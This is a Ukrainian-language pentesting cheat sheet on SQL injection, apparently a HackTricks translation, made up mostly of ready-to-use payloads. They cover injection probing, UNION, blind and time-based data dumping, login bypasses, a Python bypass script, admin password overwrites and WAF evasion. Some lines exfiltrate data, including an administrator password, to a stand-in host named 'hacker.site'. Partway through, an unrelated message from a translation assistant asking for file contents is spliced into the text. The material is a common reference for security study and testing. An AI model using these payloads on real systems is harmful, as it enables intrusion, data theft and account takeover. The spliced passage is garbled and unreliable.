SQL Injection

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Що таке SQL injection?

An SQL injection — це вразливість безпеки, яка дозволяє зловмисникам втручатися в запити до бази даних додатку. Ця вразливість може дозволити зловмисникам переглядати, змінювати або видаляти дані, до яких вони не повинні мати доступ, включно з інформацією інших користувачів або будь-якими даними, до яких має доступ додаток. Такі дії можуть призвести до постійних змін у функціональності або вмісті додатку, або навіть до компрометації сервера чи відмови в обслуговуванні.

Виявлення точки входу

Коли сайт виглядає вразливим до SQL injection (SQLi) через незвичні відповіді сервера на введення, пов’язані з SQLi, першим кроком є зрозуміти, як ввести дані в запит, не порушуючи його. Для цього потрібно виявити спосіб ефективно вийти з поточного контексту. Ось декілька корисних прикладів:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Потім вам потрібно знати, як виправити query так, щоб не було помилок. Щоб виправити query, ви можете input дані так, щоб попередній query прийняв нові дані, або ви можете просто input свої дані й додати символ коментаря в кінці.

Зверніть увагу, що якщо ви бачите повідомлення про помилку або можете помітити відмінності між тим, коли query працює і коли ні, ця фаза буде простішою.

Коментарі

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Підтвердження за допомогою логічних операцій

Надійний метод підтвердження уразливості SQL injection — виконати логічну операцію та спостерігати очікувані результати. Наприклад, якщо GET parameter ?username=Peter повертає ідентичний вміст при зміні на ?username=Peter' or '1'='1, це вказує на SQL injection.

Аналогічно, застосування математичних операцій є ефективною технікою підтвердження. Наприклад, якщо звернення до ?id=1 та ?id=2-1 дає той самий результат, це свідчить про SQL injection.

Приклади, що демонструють підтвердження логічними операціями:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Цей word-list був створений, щоб спробувати підтвердити SQLinjections у запропонований спосіб:

Справжній SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Підтвердження за часом

У деяких випадках ви не помітите жодних змін на сторінці, яку тестуєте. Тому хорошим способом виявити blind SQL injections є змусити DB виконувати дії, що матимуть вплив на час завантаження сторінки.\
Тому ми збираємося concat в SQL query операцію, яка займе багато часу на виконання:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

У деяких випадках sleep функції не будуть дозволені. Тоді, замість використання цих функцій, ви можете змусити query виконувати складні операції, які триватимуть кілька секунд. Приклади цих технік будуть окремо прокоментовані для кожної технології (якщо такі є).

Identifying Back-end

Найкращий спосіб ідентифікувати back-end — спробувати виконати функції різних back-end’ів. Можна використовувати sleep функції попереднього розділу або наступні (таблиця з payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Крім того, якщо у вас є доступ до виводу запиту, ви можете змусити його вивести версію бази даних.

Tip

У продовженні ми обговоримо різні методи експлуатації різних типів SQL Injection. Ми використовуватимемо MySQL як приклад.

Ідентифікація з PortSwigger

SQL injection cheat sheet | Web Security Academy

Експлуатація Union Based

Визначення кількості стовпців

Якщо ви бачите вивід запиту, це найкращий спосіб його експлуатації.
По-перше, нам потрібно з’ясувати кількість стовпців, які повертає початковий запит. Це тому, що обидва запити повинні повертати однакову кількість стовпців.
Зазвичай для цього використовують два методи:

Order/Group by

Щоб визначити кількість стовпців у запиті, поступово збільшуйте число, що використовується в ORDER BY або GROUP BY клаузах, поки не отримаєте помилкову відповідь. Незважаючи на різні функції GROUP BY та ORDER BY у SQL, обидва можна використовувати однаково для визначення кількості стовпців у запиті.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Select дедалі більше null values, доки запит не стане правильним:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Ви повинні використовувати nullзначення, оскільки у деяких випадках типи стовпців з обох боків запиту мають збігатися, і null є допустимим у будь-якому випадку.

Отримати назви баз даних, таблиць і колонок

У наступних прикладах ми отримаємо назви всіх баз даних, назви таблиць у базі даних, назви колонок таблиці:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Існує інший спосіб виявлення цих даних для кожної різної бази даних, але методологія завжди однакова.

Exploiting Hidden Union Based

Коли output of a query видно, але union-based injection здається недосяжною, це свідчить про наявність hidden union-based injection. Цей сценарій часто призводить до blind injection. Щоб перетворити blind injection на union-based, потрібно з’ясувати execution query на бекенді.

Цього можна досягти, використовуючи blind injection techniques разом із default tables, специфічними для вашої цільової Database Management System (DBMS). Для розуміння цих default tables рекомендовано звернутися до документації цільової DBMS.

Після того як query витягнуто, необхідно підлаштувати payload, щоб безпечно закрити оригінальний query. Далі до payload додається union query, що дозволяє експлуатувати новостворену union-based injection.

Для детальнішого ознайомлення зверніться до повної статті: Healing Blind Injections.

Exploiting Error based

Якщо з якоїсь причини ви cannot see the output of the query, але можете see the error messages, ви можете змусити ці error messages ex-filtrate дані з бази даних.
Дотримуючись схожого потоку, як у Union Based exploitation, ви зможете dump the DB.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Експлуатація Blind SQLi

У цьому випадку ви не можете бачити результати запиту або помилки, але ви можете визначити, чи запит return true або false, оскільки на сторінці відображається різний вміст.
У цьому випадку ви можете зловживати цією поведінкою, щоб dump the database char by char:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Експлуатація Error Blind SQLi

Це той самий випадок, що й раніше, але замість того, щоб розрізняти між true/false відповіддю на запит, ви можете відрізняти наявність помилки в SQL-запиті або її відсутність (можливо тому, що HTTP server падає). Тому в цьому випадку ви можете примусити SQLerror щоразу, коли правильно вгадаєте символ:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiting Time Based SQLi

У цьому випадку немає жодного способу відрізнити відповідь запиту, виходячи з контексту сторінки. Однак ви можете змусити сторінку завантажуватися довше, якщо вгаданий символ правильний. Ми вже бачили цю техніку в дії раніше, щоб confirm a SQLi vuln.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Ви можете використовувати stacked queries, щоб виконати кілька запитів підряд. Зверніть увагу, що хоча наступні запити виконуються, результати не повертаються в додаток. Тому ця техніка переважно корисна щодо blind vulnerabilities, де ви можете використати другий запит, щоб викликати DNS-запит, умовну помилку або затримку часу.

Oracle не підтримує stacked queries. MySQL, Microsoft та PostgreSQL підтримують їх: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Якщо жоден інший метод експлуатації не спрацював, ви можете спробувати змусити database ex-filtrate інформацію на external host, який ви контролюєте. Наприклад, через DNS-запити:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Позасмугова ексфільтрація даних через XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automated Exploitation

Перевірте SQLMap Cheatsheet, щоб скористатися уразливістю SQLi за допомогою sqlmap.

Інформація для конкретних технологій

Ми вже обговорили всі способи використання уразливості SQL Injection. Знайдіть ще кілька прийомів, що залежать від технології бази даних, у цій книзі:

Або ви знайдете безліч прийомів щодо: MySQL, PostgreSQL, Oracle, MSSQL, SQLite та HQL у https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Authentication bypass

Список для спроб bypass функціональності входу:

Login bypass List

Raw hash authentication Bypass

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Цей запит демонструє вразливість: коли MD5 використовується з true для raw output у перевірках автентифікації, система стає вразливою до SQL injection. Зловмисники можуть скористатися цим, створюючи вхідні дані, які при хешуванні генерують несподівані частини SQL-команд, що призводить до несанкціонованого доступу.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injected hash authentication Bypass

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Рекомендований список:

Ви повинні використовувати як username кожен рядок зі списку, а як password завжди: Pass1234.
(Ці payloads також включені у великий список, згаданий на початку цього розділу)

GBK Authentication Bypass

Якщо апостроф ’ екранізується, можна використовувати %A8%27, і коли апостроф буде екранізований, буде створено: 0xA80x5c0x27 (╘’)

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python скрипт:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modify password of existing object/user

To do so you should try to create a new object named as the “master object” (probably admin in case of users) modifying something:

  • Створити користувача з ім’ям: AdMIn (великі та малі літери)
  • Створити користувача з ім’ям: admin=
  • SQL Truncation Attack (коли існує деяке обмеження довжини для username або email) –> Створіть користувача з ім’ям: admin [a lot of spaces] a

SQL Truncation Attack

If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user admin, try to create a username called: “admin [30 spaces] a” and any password.

The database will check if the introduced username exists inside the database. If not, it will cut the username to the max allowed number of characters (in this case to: “admin [25 spaces]”) and the it will automatically remove all the spaces at the end updating inside the database the user “admin” with the new password (some error could appear but it doesn’t means that this hasn’t worked).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Додайте стільки ','','', скільки вважаєте необхідним, щоб вийти з VALUES statement. Якщо затримка виконується, у вас SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Клауза ON DUPLICATE KEY UPDATE в MySQL використовується, щоб вказати дії, які база даних має виконати, коли спроба вставити рядок призведе до дублювання значення в індексі UNIQUE або PRIMARY KEY. Наведений нижче приклад показує, як цю можливість можна використати для зміни пароля облікового запису адміністратора:

Приклад Payload Injection:

Injection payload може бути складено таким чином, де намагаються вставити два рядки в таблицю users. Перший ряд — відволікаючий, а другий спрямований на електронну пошту існуючого адміністратора з метою оновлення пароля:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Ось як це працює:

  • Запит намагається вставити два рядки: один для generic_user@example.com і ще один для admin_generic@example.com.
  • Якщо рядок для admin_generic@example.com вже існує, спрацьовує конструкція ON DUPLICATE KEY UPDATE, яка наказує MySQL оновити поле password існуючого рядка на “bcrypt_hash_of_newpassword”.
  • Отже, потім можна спробувати автентифікацію, використовуючи admin_generic@example.com з паролем, що відповідає bcrypt-хешу (“bcrypt_hash_of_newpassword” позначає bcrypt-хеш нового пароля, який потрібно замінити на фактичний хеш бажаного пароля).

Отримання інформації

Створення двох облікових записів одночасно

При спробі створити нового користувача потрібні username, password та email:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Використання десяткового або шістнадцяткового

За допомогою цієї техніки ви можете витягти інформацію, створивши лише 1 account. Важливо зауважити, що вам не потрібно нічого коментувати.

Використовуючи hex2dec та substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Я не маю доступу до вашої файлової системи — будь ласка, надайте вміст файлу або посилання на raw-версію. Ви можете отримати текст локально однією з команд і вставити результат сюди:

  • cat src/pentesting-web/sql-injection/README.md
  • sed -n ‘1,200p’ src/pentesting-web/sql-injection/README.md
  • git show HEAD:src/pentesting-web/sql-injection/README.md
  • curl -s https://raw.githubusercontent.com/your/repo/branch/src/pentesting-web/sql-injection/README.md

Після того як вставите вміст, я перекладу англійський текст на українську, зберігаючи Markdown/HTML синтаксис, шляхи, теги і посилання.

__import__('binascii').unhexlify(hex(215573607263)[2:])

Використовуючи hex та replace (та substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection — ситуація, коли injectable query не є тією, що генерує вивід; натомість вивід injectable query передається в query, яка генерує вивід. (From Paper)

Приклад:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - обхід із використанням альтернатив пробілів

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass за допомогою коментарів

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass за допомогою дужок

?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass з використанням OFFSET, FROM та JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Загальні Bypasses

Blacklist, що використовує ключові слова - обхід за допомогою великих/малих літер

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Чорний список ключових слів без врахування регістру — обхід за допомогою еквівалентного оператора

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

Детальніше пояснення цього трюку можна знайти в gosecure blog.
По суті, ви можете використовувати scientific notation несподіваними способами, щоб обійти WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Обхід обмеження на імена стовпців

Насамперед зауважте, що якщо оригінальний запит і таблиця, звідки ви хочете витягти flag, мають однакову кількість стовпців, ви можете просто зробити: 0 UNION SELECT * FROM flag

Можна отримати доступ до третього стовпця таблиці без використання його імені за допомогою запиту на кшталт: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, тож у sqlinjection це виглядатиме так:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Або використовуючи comma bypass:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Цей трюк взято з https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

Якщо user input конкатенується в SELECT list або в table/column identifiers, prepared statements не допоможуть, тому що bind parameters захищають тільки values, а не identifiers. Поширений вразливий патерн є:

// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Ідея експлуатації: inject a subquery into the field position to exfiltrate arbitrary data:

-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Примітки:

  • Це працює навіть коли WHERE clause використовує bound parameter, оскільки identifier list все ще string-concatenated.
  • Деякі стеки додатково дозволяють контролювати table name (tablename injection), що дає змогу виконувати cross-table reads.
  • Output sinks можуть відобразити вибране значення в HTML/JSON, дозволяючи XSS або token exfiltration безпосередньо з відповіді.

Заходи захисту:

  • Ніколи не конкатенуйте identifiers з вхідних даних користувача. Map allowed column names to a fixed allow-list і коректно quote identifiers.
  • Якщо потрібен dynamic table access, обмежте його скінченним набором і вирішуйте вибір таблиці server-side зі безпечного mapping.

SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)

Деякі фреймворки convert structured filter ASTs into raw SQL boolean fragments (наприклад, metadata filters або JSON predicates) і потім string-concatenate ці фрагменти в більші запити. Якщо конвертер wraps string values as '%s' without escaping, одинарна лапка в user input завершує літерал, і решта інтерпретується як SQL.

Example pattern (conceptual):

JSON_VALUE(metadata, '$.department') = '<user_value>'

Payload (URL-encoded): %27%20OR%20%271%27%3D%271 → декодовано: ' OR '1'='1 → предикат стає:

JSON_VALUE(metadata, '$.department') = '' OR '1'='1'

ORDER BY / identifier-based SQLi (PDO limitation)

Prepared statements не можуть прив’язувати ідентифікатори (імена стовпців або таблиць). Загальна небезпечна практика — взяти керований користувачем параметр sort і побудувати ORDER BY за допомогою конкатенації рядків, іноді вкладаючи введені дані в зворотні лапки, щоб «очистити» їх. Це все ще дозволяє SQLi, тому що контекст ідентифікатора контролюється атакувальником.

Уразливий шаблон:

$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);

Сигнали в трафіку:

  • Параметр sort в POST (часто sort=column), не є фіксованим allow-list.
  • Зміна sort ламає query або змінює порядок виводу.

Інструменти підбору WAF bypass

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub

Інші посібники

Список для виявлення Brute-Force

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Джерела

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks